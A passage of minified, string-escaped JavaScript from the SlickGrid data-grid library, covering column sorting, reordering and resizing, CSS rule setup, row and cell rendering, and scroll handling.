o=null,r=0;r<sortColumns.length;r++)if(sortColumns[r].columnId==n.id){(o=sortColumns[r]).sortAsc=!o.sortAsc;break}var i=!!o;options.tristateMultiColumnSort?(o||(o={columnId:n.id,sortAsc:n.defaultSortAsc}),i&&o.sortAsc&&(sortColumns.splice(r,1),o=null),options.multiColumnSort||(sortColumns=[]),!o||i&&options.multiColumnSort||sortColumns.push(o)):e.metaKey&&options.multiColumnSort?o&&sortColumns.splice(r,1):((e.shiftKey||e.metaKey)&&options.multiColumnSort||(sortColumns=[]),o?0==sortColumns.length&&sortColumns.push(o):(o={columnId:n.id,sortAsc:n.defaultSortAsc},sortColumns.push(o))),setSortColumns(sortColumns),0<sortColumns.length&&(options.multiColumnSort?trigger(self.onSort,{multiColumnSort:!0,sortCols:$.map(sortColumns,function(e){return{sortCol:columns[getColumnIndex(e.columnId)],sortAsc:e.sortAsc}}),grid:self},e):trigger(self.onSort,{multiColumnSort:!1,sortCol:n,sortAsc:sortColumns[0].sortAsc,grid:self},e))}}}})}function setupColumnReorder(){$headers.filter(\\\":ui-sortable\\\").sortable(\\\"destroy\\\"),$headers.sortable({containment:\\\"parent\\\",distance:3,axis:\\\"x\\\",cursor:\\\"default\\\",tolerance:\\\"intersection\\\",helper:\\\"clone\\\",placeholder:\\\"slick-sortable-placeholder ui-state-default slick-header-column\\\",start:function(e,t){t.placeholder.width(t.helper.outerWidth()-headerColumnWidthDiff),$(t.helper).addClass(\\\"slick-header-column-active\\\")},beforeStop:function(e,t){$(t.helper).removeClass(\\\"slick-header-column-active\\\")},stop:function(e){if(getEditorLock().commitCurrentEdit()){for(var t=$headers.sortable(\\\"toArray\\\"),n=[],o=0;o<t.length;o++)n.push(columns[getColumnIndex(t[o].replace(uid,\\\"\\\"))]);setColumns(n),trigger(self.onColumnsReordered,{grid:self}),e.stopPropagation(),setupColumnResize()}else $(this).sortable(\\\"cancel\\\")}})}function setupColumnResize(){var s,a,c,u,d,p,n,o;(u=$headers.children()).find(\\\".slick-resizable-handle\\\").remove(),u.each(function(e,t){e>=columns.length||columns[e].resizable&&(void 0===n&&(n=e),o=e)}),void 0!==n&&u.each(function(l,e){l>=columns.length||l<n||options.forceFitColumns&&o<=l||($(e),$(\\\"<div class='slick-resizable-handle' />\\\").appendTo(e).on(\\\"dragstart\\\",function(e,t){if(!getEditorLock().commitCurrentEdit())return!1;c=e.pageX,$(this).parent().addClass(\\\"slick-header-column-active\\\");var n=null,o=null;if(u.each(function(e,t){e>=columns.length||(columns[e].previousWidth=$(t).outerWidth())}),options.forceFitColumns)for(o=n=0,s=l+1;s<columns.length;s++)(a=columns[s]).resizable&&(null!==o&&(a.maxWidth?o+=a.maxWidth-a.previousWidth:o=null),n+=a.previousWidth-Math.max(a.minWidth||0,absoluteColumnMinWidth));var r=0,i=0;for(s=0;s<=l;s++)(a=columns[s]).resizable&&(null!==i&&(a.maxWidth?i+=a.maxWidth-a.previousWidth:i=null),r+=a.previousWidth-Math.max(a.minWidth||0,absoluteColumnMinWidth));null===n&&(n=1e5),null===r&&(r=1e5),null===o&&(o=1e5),null===i&&(i=1e5),p=c+Math.min(n,i),d=c-Math.min(r,o)}).on(\\\"drag\\\",function(e,t){var n,o,r=Math.min(p,Math.max(d,e.pageX))-c;if(r<0){for(o=r,s=l;0<=s;s--)(a=columns[s]).resizable&&(n=Math.max(a.minWidth||0,absoluteColumnMinWidth),o&&a.previousWidth+o<n?(o+=a.previousWidth-n,a.width=n):(a.width=a.previousWidth+o,o=0));if(options.forceFitColumns)for(o=-r,s=l+1;s<columns.length;s++)(a=columns[s]).resizable&&(o&&a.maxWidth&&a.maxWidth-a.previousWidth<o?(o-=a.maxWidth-a.previousWidth,a.width=a.maxWidth):(a.width=a.previousWidth+o,o=0))}else{for(o=r,s=l;0<=s;s--)(a=columns[s]).resizable&&(o&&a.maxWidth&&a.maxWidth-a.previousWidth<o?(o-=a.maxWidth-a.previousWidth,a.width=a.maxWidth):(a.width=a.previousWidth+o,o=0));if(options.forceFitColumns)for(o=-r,s=l+1;s<columns.length;s++)(a=columns[s]).resizable&&(n=Math.max(a.minWidth||0,absoluteColumnMinWidth),o&&a.previousWidth+o<n?(o+=a.previousWidth-n,a.width=n):(a.width=a.previousWidth+o,o=0))}applyColumnHeaderWidths(),options.syncColumnCellResize&&applyColumnWidths()}).on(\\\"dragend\\\",function(e,t){var n;for($(this).parent().removeClass(\\\"slick-header-column-active\\\"),s=0;s<columns.length;s++)a=columns[s],n=$(u[s]).outerWidth(),a.previousWidth!==n&&a.rerenderOnResize&&invalidateAllRows();updateCanvasWidth(!0),render(),trigger(self.onColumnsResized,{grid:self})}))})}function getVBoxDelta(n){var o=0;return $.each([\\\"borderTopWidth\\\",\\\"borderBottomWidth\\\",\\\"paddingTop\\\",\\\"paddingBottom\\\"],function(e,t){o+=parseFloat(n.css(t))||0}),o}function measureCellPaddingAndBorder(){var n,e=[\\\"borderLeftWidth\\\",\\\"borderRightWidth\\\",\\\"paddingLeft\\\",\\\"paddingRight\\\"],t=[\\\"borderTopWidth\\\",\\\"borderBottomWidth\\\",\\\"paddingTop\\\",\\\"paddingBottom\\\"],o=$.fn.jquery.split(\\\".\\\");jQueryNewWidthBehaviour=1==o[0]&&8<=o[1]||2<=o[0],n=$(\\\"<div class='ui-state-default slick-header-column' style='visibility:hidden'>-</div>\\\").appendTo($headers),headerColumnWidthDiff=headerColumnHeightDiff=0,\\\"border-box\\\"!=n.css(\\\"box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-moz-box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-webkit-box-sizing\\\")&&($.each(e,function(e,t){headerColumnWidthDiff+=parseFloat(n.css(t))||0}),$.each(t,function(e,t){headerColumnHeightDiff+=parseFloat(n.css(t))||0})),n.remove();var r=$(\\\"<div class='slick-row' />\\\").appendTo($canvas);n=$(\\\"<div class='slick-cell' id='' style='visibility:hidden'>-</div>\\\").appendTo(r),cellWidthDiff=cellHeightDiff=0,\\\"border-box\\\"!=n.css(\\\"box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-moz-box-sizing\\\")&&\\\"border-box\\\"!=n.css(\\\"-webkit-box-sizing\\\")&&($.each(e,function(e,t){cellWidthDiff+=parseFloat(n.css(t))||0}),$.each(t,function(e,t){cellHeightDiff+=parseFloat(n.css(t))||0})),r.remove(),absoluteColumnMinWidth=Math.max(headerColumnWidthDiff,cellWidthDiff)}function createCssRules(){$style=$(\\\"<style type='text/css' rel='stylesheet' />\\\").appendTo($(\\\"head\\\"));for(var e=options.rowHeight-cellHeightDiff,t=[\\\".\\\"+uid+\\\" .slick-header-column { left: 1000px; }\\\",\\\".\\\"+uid+\\\" .slick-top-panel { height:\\\"+options.topPanelHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-preheader-panel { height:\\\"+options.preHeaderPanelHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-headerrow-columns { height:\\\"+options.headerRowHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-footerrow-columns { height:\\\"+options.footerRowHeight+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-cell { height:\\\"+e+\\\"px; }\\\",\\\".\\\"+uid+\\\" .slick-row { height:\\\"+options.rowHeight+\\\"px; }\\\"],n=0;n<columns.length;n++)t.push(\\\".\\\"+uid+\\\" .l\\\"+n+\\\" { }\\\"),t.push(\\\".\\\"+uid+\\\" .r\\\"+n+\\\" { }\\\");$style[0].styleSheet?$style[0].styleSheet.cssText=t.join(\\\" \\\"):$style[0].appendChild(document.createTextNode(t.join(\\\" \\\")))}function getColumnCssRules(e){var t;if(!stylesheet){var n=document.styleSheets;for(t=0;t<n.length;t++)if((n[t].ownerNode||n[t].owningElement)==$style[0]){stylesheet=n[t];break}if(!stylesheet)throw new Error(\\\"Cannot find stylesheet.\\\");columnCssRulesL=[],columnCssRulesR=[];var o,r,i=stylesheet.cssRules||stylesheet.rules;for(t=0;t<i.length;t++){var l=i[t].selectorText;(o=/\\\\.l\\\\d+/.exec(l))?(r=parseInt(o[0].substr(2,o[0].length-2),10),columnCssRulesL[r]=i[t]):(o=/\\\\.r\\\\d+/.exec(l))&&(r=parseInt(o[0].substr(2,o[0].length-2),10),columnCssRulesR[r]=i[t])}}return{left:columnCssRulesL[e],right:columnCssRulesR[e]}}function removeCssRules(){$style.remove(),stylesheet=null}function destroy(){getEditorLock().cancelCurrentEdit(),trigger(self.onBeforeDestroy,{grid:self});for(var e=plugins.length;e--;)unregisterPlugin(plugins[e]);options.enableColumnReorder&&$headers.filter(\\\":ui-sortable\\\").sortable(\\\"destroy\\\"),unbindAncestorScrollEvents(),$container.off(\\\".slickgrid\\\"),removeCssRules(),$canvas.off(\\\"draginit dragstart dragend drag\\\"),$container.empty().removeClass(uid)}function trigger(e,t,n){return n=n||new Slick.EventData,(t=t||{}).grid=self,e.notify(t,n,self)}function getEditorLock(){return options.editorLock}function getEditController(){return editController}function getColumnIndex(e){return columnsById[e]}function autosizeColumns(){var e,t,n,o=[],r=0,i=0,l=viewportHasVScroll?viewportW-scrollbarDimensions.width:viewportW;for(e=0;e<columns.length;e++)t=columns[e],o.push(t.width),i+=t.width,t.resizable&&(r+=t.width-Math.max(t.minWidth,absoluteColumnMinWidth));for(n=i;l<i&&r;){var s=(i-l)/r;for(e=0;e<columns.length&&l<i;e++){t=columns[e];var a=o[e];if(!(!t.resizable||a<=t.minWidth||a<=absoluteColumnMinWidth)){var c=Math.max(t.minWidth,absoluteColumnMinWidth),u=Math.floor(s*(a-c))||1;u=Math.min(u,a-c),i-=u,r-=u,o[e]-=u}}if(n<=i)break;n=i}for(n=i;i<l;){var d=l/i;for(e=0;e<columns.length&&i<l;e++){t=columns[e];var p,f=o[e];p=!t.resizable||t.maxWidth<=f?0:Math.min(Math.floor(d*f)-f,t.maxWidth-f||1e6)||1,i+=p,o[e]+=i<=l?p:0}if(i<=n)break;n=i}var h=!1;for(e=0;e<columns.length;e++)columns[e].rerenderOnResize&&columns[e].width!=o[e]&&(h=!0),columns[e].width=o[e];applyColumnHeaderWidths(),updateCanvasWidth(!0),h&&(invalidateAllRows(),render())}function applyColumnHeaderWidths(){if(initialized){for(var e,t=0,n=$headers.children(),o=columns.length;t<o;t++)e=$(n[t]),jQueryNewWidthBehaviour?e.outerWidth()!==columns[t].width&&e.outerWidth(columns[t].width):e.width()!==columns[t].width-headerColumnWidthDiff&&e.width(columns[t].width-headerColumnWidthDiff);updateColumnCaches()}}function applyColumnWidths(){for(var e,t,n=0,o=0;o<columns.length;o++)e=columns[o].width,(t=getColumnCssRules(o)).left.style.left=n+\\\"px\\\",t.right.style.right=canvasWidth-n-e+\\\"px\\\",n+=columns[o].width}function setSortColumn(e,t){setSortColumns([{columnId:e,sortAsc:t}])}function setSortColumns(e){sortColumns=e;var o=options.numberedMultiColumnSort&&1<sortColumns.length,r=$headers.children(),i=r.removeClass(\\\"slick-header-column-sorted\\\").find(\\\".\\\"+sortIndicatorCssClass).removeClass(\\\"slick-sort-indicator-asc slick-sort-indicator-desc\\\");o&&i.text(\\\"\\\"),$.each(sortColumns,function(e,t){null==t.sortAsc&&(t.sortAsc=!0);var n=getColumnIndex(t.columnId);null!=n&&(i=r.eq(n).addClass(\\\"slick-header-column-sorted\\\").find(\\\".\\\"+sortIndicatorCssClass).addClass(t.sortAsc?\\\"slick-sort-indicator-asc\\\":\\\"slick-sort-indicator-desc\\\"),o&&i.text(e+1))})}function getSortColumns(){return sortColumns}function handleSelectedRangesChanged(e,t){selectedRows=[];for(var n={},o=0;o<t.length;o++)for(var r=t[o].fromRow;r<=t[o].toRow;r++){n[r]||(selectedRows.push(r),n[r]={});for(var i=t[o].fromCell;i<=t[o].toCell;i++)canCellBeSelected(r,i)&&(n[r][columns[i].id]=options.selectedCellCssClass)}setCellCssStyles(options.selectedCellCssClass,n),trigger(self.onSelectedRowsChanged,{rows:getSelectedRows(),grid:self},e)}function getColumns(){return columns}function updateColumnCaches(){columnPosLeft=[],columnPosRight=[];for(var e=0,t=0,n=columns.length;t<n;t++)columnPosLeft[t]=e,columnPosRight[t]=e+columns[t].width,e+=columns[t].width}function setColumns(e){columns=e,columnsById={};for(var t=0;t<columns.length;t++){var n=columns[t]=$.extend({},columnDefaults,columns[t]);columnsById[n.id]=t,n.minWidth&&n.width<n.minWidth&&(n.width=n.minWidth),n.maxWidth&&n.width>n.maxWidth&&(n.width=n.maxWidth)}updateColumnCaches(),initialized&&(invalidateAllRows(),createColumnHeaders(),removeCssRules(),createCssRules(),resizeCanvas(),applyColumnWidths(),handleScroll())}function getOptions(){return options}function setOptions(e,t){getEditorLock().commitCurrentEdit()&&(makeActiveCellNormal(),options.enableAddRow!==e.enableAddRow&&invalidateRow(getDataLength()),options=$.extend(options,e),validateAndEnforceOptions(),$viewport.css(\\\"overflow-y\\\",options.autoHeight?\\\"hidden\\\":\\\"auto\\\"),t||render())}function validateAndEnforceOptions(){options.autoHeight&&(options.leaveSpaceForNewRows=!1)}function setData(e,t){data=e,invalidateAllRows(),updateRowCount(),t&&scrollTo(0)}function getData(){return data}function getDataLength(){return data.getLength?data.getLength():data.length}function getDataLengthIncludingAddNew(){return getDataLength()+(options.enableAddRow&&(!pagingActive||pagingIsLastPage)?1:0)}function getDataItem(e){return data.getItem?data.getItem(e):data[e]}function getTopPanel(){return $topPanel[0]}function setTopPanelVisibility(e){options.showTopPanel!=e&&((options.showTopPanel=e)?$topPanelScroller.slideDown(\\\"fast\\\",resizeCanvas):$topPanelScroller.slideUp(\\\"fast\\\",resizeCanvas))}function setHeaderRowVisibility(e){options.showHeaderRow!=e&&((options.showHeaderRow=e)?$headerRowScroller.slideDown(\\\"fast\\\",resizeCanvas):$headerRowScroller.slideUp(\\\"fast\\\",resizeCanvas))}function setFooterRowVisibility(e){options.showFooterRow!=e&&((options.showFooterRow=e)?$footerRowScroller.slideDown(\\\"fast\\\",resizeCanvas):$footerRowScroller.slideUp(\\\"fast\\\",resizeCanvas))}function setPreHeaderPanelVisibility(e){options.showPreHeaderPanel!=e&&((options.showPreHeaderPanel=e)?$preHeaderPanelScroller.slideDown(\\\"fast\\\",resizeCanvas):$preHeaderPanelScroller.slideUp(\\\"fast\\\",resizeCanvas))}function getContainerNode(){return $container.get(0)}function getRowTop(e){return options.rowHeight*e-offset}function getRowFromPosition(e){return Math.floor((e+offset)/options.rowHeight)}function scrollTo(e){e=Math.max(e,0),e=Math.min(e,th-viewportH+(viewportHasHScroll?scrollbarDimensions.height:0));var t=offset;page=Math.min(n-1,Math.floor(e/ph)),offset=Math.round(page*cj);var o=e-offset;if(offset!=t){var r=getVisibleRange(o);cleanupRows(r),updateRowPositions()}prevScrollTop!=o&&(vScrollDir=prevScrollTop+t<o+offset?1:-1,$viewport[0].scrollTop=lastRenderedScrollTop=scrollTop=prevScrollTop=o,trigger(self.onViewportChanged,{grid:self}))}function defaultFormatter(e,t,n,o,r){return null==n?\\\"\\\":(n+\\\"\\\").replace(/&/g,\\\"&amp;\\\").replace(/</g,\\\"&lt;\\\").replace(/>/g,\\\"&gt;\\\")}function getFormatter(e,t){var n=data.getItemMetadata&&data.getItemMetadata(e),o=n&&n.columns&&(n.columns[t.id]||n.columns[getColumnIndex(t.id)]);return o&&o.formatter||n&&n.formatter||t.formatter||options.formatterFactory&&options.formatterFactory.getFormatter(t)||options.defaultFormatter}function getEditor(e,t){var n=columns[t],o=data.getItemMetadata&&data.getItemMetadata(e),r=o&&o.columns;return r&&r[n.id]&&void 0!==r[n.id].editor?r[n.id].editor:r&&r[t]&&void 0!==r[t].editor?r[t].editor:n.editor||options.editorFactory&&options.editorFactory.getEditor(n)}function getDataItemValueForColumn(e,t){return options.dataItemColumnValueExtractor?options.dataItemColumnValueExtractor(e,t):e[t.field]}function appendRowHtml(e,t,n,o){var r=getDataItem(t),i=t<o&&!r,l=\\\"slick-row\\\"+(i?\\\" loading\\\":\\\"\\\")+(t===activeRow?\\\" active\\\":\\\"\\\")+(t%2==1?\\\" odd\\\":\\\" even\\\");r||(l+=\\\" \\\"+options.addNewRowCssClass);var s,a,c=data.getItemMetadata&&data.getItemMetadata(t);c&&c.cssClasses&&(l+=\\\" \\\"+c.cssClasses),e.push(\\\"<div class='ui-widget-content \\\"+l+\\\"' style='top:\\\"+getRowTop(t)+\\\"px'>\\\");for(var u=0,d=columns.length;u<d;u++){if(a=columns[u],s=1,c&&c.columns){var p=c.columns[a.id]||c.columns[u];\\\"*\\\"===(s=p&&p.colspan||1)&&(s=d-u)}if(columnPosRight[Math.min(d-1,u+s-1)]>n.leftPx){if(columnPosLeft[u]>n.rightPx)break;appendCellHtml(e,t,u,s,r)}1<s&&(u+=s-1)}e.push(\\\"</div>\\\")}function appendCellHtml(e,t,n,o,r){var i=columns[n],l=\\\"slick-cell l\\\"+n+\\\" r\\\"+Math.min(columns.length-1,n+o-1)+(i.cssClass?\\\" \\\"+i.cssClass:\\\"\\\");for(var s in t===activeRow&&n===activeCell&&(l+=\\\" active\\\"),cellCssClasses)cellCssClasses[s][t]&&cellCssClasses[s][t][i.id]&&(l+=\\\" \\\"+cellCssClasses[s][t][i.id]);var a=null;r&&(a=getDataItemValueForColumn(r,i));var c=getFormatter(t,i)(t,n,a,i,r),u=trigger(self.onBeforeAppendCell,{row:t,cell:n,grid:self,value:a,dataContext:r})||\\\"\\\";u+=c.addClasses?(u?\\\" \\\":\\\"\\\")+c.addClasses:\\\"\\\",e.push(\\\"<div class='\\\"+l+(u?\\\" \\\"+u:\\\"\\\")+\\\"'>\\\"),r&&e.push(\\\"object\\\"!=typeof c?c:c.text),e.push(\\\"</div>\\\"),rowsCache[t].cellRenderQueue.push(n),rowsCache[t].cellColSpans[n]=o}function cleanupRows(e){for(var t in rowsCache)(t=parseInt(t,10))!==activeRow&&(t<e.top||t>e.bottom)&&removeRowFromCache(t);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()}function invalidate(){updateRowCount(),invalidateAllRows(),render()}function invalidateAllRows(){for(var e in currentEditor&&makeActiveCellNormal(),rowsCache)removeRowFromCache(e);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()}function queuePostProcessedRowForCleanup(e,t,n){for(var o in postProcessgroupId++,t)t.hasOwnProperty(o)&&postProcessedCleanupQueue.push({actionType:\\\"C\\\",groupId:postProcessgroupId,node:e.cellNodesByColumnIdx[0|o],columnIdx:0|o,rowIdx:n});postProcessedCleanupQueue.push({actionType:\\\"R\\\",groupId:postProcessgroupId,node:e.rowNode}),$(e.rowNode).detach()}function queuePostProcessedCellForCleanup(e,t,n){postProcessedCleanupQueue.push({actionType:\\\"C\\\",groupId:postProcessgroupId,node:e,columnIdx:t,rowIdx:n}),$(e).detach()}function removeRowFromCache(e){var t=rowsCache[e];t&&(rowNodeFromLastMouseWheelEvent===t.rowNode?(t.rowNode.style.display=\\\"none\\\",zombieRowNodeFromLastMouseWheelEvent=rowNodeFromLastMouseWheelEvent,zombieRowCacheFromLastMouseWheelEvent=t,zombieRowPostProcessedFromLastMouseWheelEvent=postProcessedRows[e]):options.enableAsyncPostRenderCleanup&&postProcessedRows[e]?queuePostProcessedRowForCleanup(t,postProcessedRows[e],e):$canvas[0].removeChild(t.rowNode),delete rowsCache[e],delete postProcessedRows[e],renderedRows--,counter_rows_removed++)}function invalidateRows(e){var t,n;if(e&&e.length){for(vScrollDir=0,n=e.length,t=0;t<n;t++)currentEditor&&activeRow===e[t]&&makeActiveCellNormal(),rowsCache[e[t]]&&removeRowFromCache(e[t]);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()}}function invalidateRow(e){invalidateRows([e])}function applyFormatResultToCellNode(e,t,n){\\\"object\\\"==typeof e?(t.innerHTML=e.text,e.removeClasses&&!n&&t.removeClass(e.removeClasses),e.addClasses&&t.addClass(e.addClasses)):t.innerHTML=e}function updateCell(e,t){var n=getCellNode(e,t);if(n){var o=columns[t],r=getDataItem(e);if(currentEditor&&activeRow===e&&activeCell===t)currentEditor.loadValue(r);else{var i=r?getFormatter(e,o)(e,t,getDataItemValueForColumn(r,o),o,r):\\\"\\\";applyFormatResultToCellNode(i,n),invalidatePostProcessingResults(e)}}}function updateRow(e){var t=rowsCache[e];if(t){ensureCellNodesInRowsCache(e);var n=getDataItem(e);for(var o in t.cellNodesByColumnIdx)if(t.cellNodesByColumnIdx.hasOwnProperty(o)){var r=columns[o|=0],i=t.cellNodesByColumnIdx[o];e===activeRow&&o===activeCell&&currentEditor?currentEditor.loadValue(n):n?applyFormatResultToCellNode(getFormatter(e,r)(e,o,getDataItemValueForColumn(n,r),r,n),i):i.innerHTML=\\\"\\\"}invalidatePostProcessingResults(e)}}function getViewportHeight(){return parseFloat($.css($container[0],\\\"height\\\",!0))-parseFloat($.css($container[0],\\\"paddingTop\\\",!0))-parseFloat($.css($container[0],\\\"paddingBottom\\\",!0))-parseFloat($.css($headerScroller[0],\\\"height\\\"))-getVBoxDelta($headerScroller)-(options.showTopPanel?options.topPanelHeight+getVBoxDelta($topPanelScroller):0)-(options.showHeaderRow?options.headerRowHeight+getVBoxDelta($headerRowScroller):0)-(options.createFooterRow&&options.showFooterRow?options.footerRowHeight+getVBoxDelta($footerRowScroller):0)-(options.createPreHeaderPanel&&options.showPreHeaderPanel?options.preHeaderPanelHeight+getVBoxDelta($preHeaderPanelScroller):0)}function resizeCanvas(){initialized&&(viewportH=options.autoHeight?options.rowHeight*getDataLengthIncludingAddNew():getViewportHeight(),numVisibleRows=Math.ceil(viewportH/options.rowHeight),viewportW=parseFloat($.css($container[0],\\\"width\\\",!0)),options.autoHeight||$viewport.height(viewportH),options.forceFitColumns&&autosizeColumns(),updateRowCount(),handleScroll(),lastRenderedScrollLeft=-1,render())}function updatePagingStatusFromView(e){pagingActive=0!==e.pageSize,pagingIsLastPage=e.pageNum==e.totalPages-1}function updateRowCount(){if(initialized){var e=getDataLength(),t=getDataLengthIncludingAddNew(),o=t+(options.leaveSpaceForNewRows?numVisibleRows-1:0),r=viewportHasVScroll;viewportHasVScroll=!options.autoHeight&&o*options.rowHeight>viewportH,viewportHasHScroll=canvasWidth>viewportW-scrollbarDimensions.width,makeActiveCellNormal();var i=e-1;for(var l in rowsCache)i<l&&removeRowFromCache(l);options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup(),activeCellNode&&i<activeRow&&resetActiveCell();var s=h;(th=Math.max(options.rowHeight*o,viewportH-scrollbarDimensions.height))<maxSupportedCssHeight?(h=ph=th,n=1,cj=0):(ph=(h=maxSupportedCssHeight)/100,n=Math.floor(th/ph),cj=(th-h)/(n-1)),h!==s&&($canvas.css(\\\"height\\\",h),scrollTop=$viewport[0].scrollTop);var a=scrollTop+offset<=th-viewportH;0==th||0==scrollTop?page=offset=0:scrollTo(a?scrollTop+offset:th-viewportH),h!=s&&options.autoHeight&&resizeCanvas(),options.forceFitColumns&&r!=viewportHasVScroll&&autosizeColumns(),updateCanvasWidth(!1)}}function getVisibleRange(e,t){return null==e&&(e=scrollTop),null==t&&(t=scrollLeft),{top:getRowFromPosition(e),bottom:getRowFromPosition(e+viewportH)+1,leftPx:t,rightPx:t+viewportW}}function getRenderedRange(e,t){var n=getVisibleRange(e,t),o=Math.round(viewportH/options.rowHeight);return-1==vScrollDir?(n.top-=o,n.bottom+=3):1==vScrollDir?(n.top-=3,n.bottom+=o):(n.top-=3,n.bottom+=3),n.top=Math.max(0,n.top),n.bottom=Math.min(getDataLengthIncludingAddNew()-1,n.bottom),n.leftPx-=viewportW,n.rightPx+=viewportW,n.leftPx=Math.max(0,n.leftPx),n.rightPx=Math.min(canvasWidth,n.rightPx),n}function ensureCellNodesInRowsCache(e){var t=rowsCache[e];if(t&&t.cellRenderQueue.length)for(var n=t.rowNode.lastChild;t.cellRenderQueue.length;){var o=t.cellRenderQueue.pop();n=(t.cellNodesByColumnIdx[o]=n).previousSibling}}function cleanUpCells(e,t){var n,o,r=rowsCache[t],i=[];for(var l in r.cellNodesByColumnIdx)if(r.cellNodesByColumnIdx.hasOwnProperty(l)){l|=0;var s=r.cellColSpans[l];(columnPosLeft[l]>e.rightPx||columnPosRight[Math.min(columns.length-1,l+s-1)]<e.leftPx)&&(t==activeRow&&l==activeCell||i.push(l))}for(postProcessgroupId++;null!=(n=i.pop());)o=r.cellNodesByColumnIdx[n],options.enableAsyncPostRenderCleanup&&postProcessedRows[t]&&postProcessedRows[t][n]?queuePostProcessedCellForCleanup(o,n,t):r.rowNode.removeChild(o),delete r.cellColSpans[n],delete r.cellNodesByColumnIdx[n],postProcessedRows[t]&&delete postProcessedRows[t][n],0}function cleanUpAndRenderCells(e){for(var t,n,o,r=[],i=[],l=e.top,s=e.bottom;l<=s;l++)if(t=rowsCache[l]){ensureCellNodesInRowsCache(l),cleanUpCells(e,l),n=0;var a=data.getItemMetadata&&data.getItemMetadata(l);a=a&&a.columns;for(var c=getDataItem(l),u=0,d=columns.length;u<d&&!(columnPosLeft[u]>e.rightPx);u++)if(null==(o=t.cellColSpans[u])){if(o=1,a){var p=a[columns[u].id]||a[u];\\\"*\\\"===(o=p&&p.colspan||1)&&(o=d-u)}columnPosRight[Math.min(d-1,u+o-1)]>e.leftPx&&(appendCellHtml(r,l,u,o,c),n++),u+=1<o?o-1:0}else u+=1<o?o-1:0;n&&(n,i.push(l))}if(r.length){var f,h,g=document.createElement(\\\"div\\\");for(g.innerHTML=r.join(\\\"\\\");null!=(f=i.pop());){var m;for(t=rowsCache[f];null!=(m=t.cellRenderQueue.pop());)h=g.lastChild,t.rowNode.appendChild(h),t.cellNodesByColumnIdx[m]=h}}}function renderRows(e){for(var t=$canvas[0],n=[],o=[],r=!1,i=getDataLength(),l=e.top,s=e.bottom;l<=s;l++)rowsCache[l]||(renderedRows++,o.push(l),rowsCache[l]={rowNode:null,cellColSpans:[],cellNodesByColumnIdx:[],cellRenderQueue:[]},appendRowHtml(n,l,e,i),activeCellNode&&activeRow===l&&(r=!0),counter_rows_rendered++);if(o.length){var a=document.createElement(\\\"div\\\");a.innerHTML=n.join(\\\"\\\");for(var l=0,s=o.length;l<s;l++)rowsCache[o[l]].rowNode=t.appendChild(a.firstChild);r&&(activeCellNode=getCellNode(activeRow,activeCell))}}function startPostProcessing(){options.enableAsyncPostRender&&(clearTimeout(h_postrender),h_postrender=setTimeout(asyncPostProcessRows,options.asyncPostRenderDelay))}function startPostProcessingCleanup(){options.enableAsyncPostRenderCleanup&&(clearTimeout(h_postrenderCleanup),h_postrenderCleanup=setTimeout(asyncPostProcessCleanupRows,options.asyncPostRenderCleanupDelay))}function invalidatePostProcessingResults(e){for(var t in postProcessedRows[e])postProcessedRows[e].hasOwnProperty(t)&&(postProcessedRows[e][t]=\\\"C\\\");postProcessFromRow=Math.min(postProcessFromRow,e),postProcessToRow=Math.max(postProcessToRow,e),startPostProcessing()}function updateRowPositions(){for(var e in rowsCache)rowsCache[e].rowNode.style.top=getRowTop(e)+\\\"px\\\"}function render(){if(initialized){var e=getVisibleRange(),t=getRenderedRange();cleanupRows(t),lastRenderedScrollLeft!=scrollLeft&&cleanUpAndRenderCells(t),renderRows(t),postProcessFromRow=e.top,postProcessToRow=Math.min(getDataLengthIncludingAddNew()-1,e.bottom),startPostProcessing(),lastRenderedScrollTop=scrollTop,lastRenderedScrollLeft=scrollLeft,h_render=null}}function handleHeaderRowScroll(){var e=$headerRowScroller[0].scrollLeft;e!=$viewport[0].scrollLeft&&($viewport[0].scrollLeft=e)}function handleFooterRowScroll(){var e=$footerRowScroller[0].scrollLeft;e!=$viewport[0].scrollLeft&&($viewport[0].scrollLeft=e)}function handlePreHeaderPanelScroll(){var e=$preHeaderPanelScroller[0].scrollLeft;e!=$viewport[0].scrollLeft&&($viewport[0].scrollLeft=e)}function handleScroll(){scrollTop=$viewport[0].scrollTop,scrollLeft=$viewport[0].scrollLeft;var e=Math.abs(scrollTop-prevScrollTop),t=Math.abs(scrollLeft-prevScrollLeft);if(t&&(prevScrollLeft=scrollLeft,$headerScroller[0].scrollLeft=scrollLeft,$topPanelScroller[0].scrollLeft=scrollLeft,$headerRowScroller[0].scrollLeft=scrollLeft,options.createFooterRow&&($footerRowScroller[0].scrollLeft=scrollLeft),options.createPreHeaderPanel&&($preHeaderPanelScroller[0].scrollLeft=scrollLeft)),e)if(vScrollDir=prevScrollTop<scrollTop?1:-1,prevScrollTop=scrollTop,e<viewportH)scrollTo(scrollTop+offset);else{var o=offset;page=h==viewportH?0:Math.min(n-1,Math.floor(scrollTop*((th-viewportH)/(h-viewportH))*(1/ph))),offset=Math.round(page*cj),o!=offset&&invalidateAllRows()}(t||e)&&(h_render&&clearTimeout(h_render),(20<Math.abs(lastRenderedScrollTop-scrollTop)||20<Math.abs(lastRenderedScrollLeft-scrollLeft))&&(options.forceSyncScrolling||Math.abs(lastRenderedScrollTop-scrollTop)<viewportH&&Math.abs(lastRenderedScrollLeft-scrollLeft)<viewportW?render():h_render=setTimeout(render,50),trigger(self.onViewportChanged,{grid:self}))),trigger(self.onScroll,{scrollLeft:scrollLeft,scrollTop:scrollTop,grid:self})}function asyncPostProcessRows(){for(var e=getDataLength();postProcessFromRow<=postProcessToRow;){var t=0<=vScrollDir?postProcessFromRow++:postProcessToRow--,n=rowsCache[t];if(n&&!(e<=t)){for(var o in postProcessedRows[t]||(postProcessedRows[t]={}),ensureCellNodesInRowsCache(t),n.cellNodesByColumnIdx)if(n.cellNodesByColumnIdx.hasOwnProperty(o)){var r=columns[o|=0],i=postProcessedRows[t][o];if(r.asyncPostRender&&\\\"R\\\"!==i){var 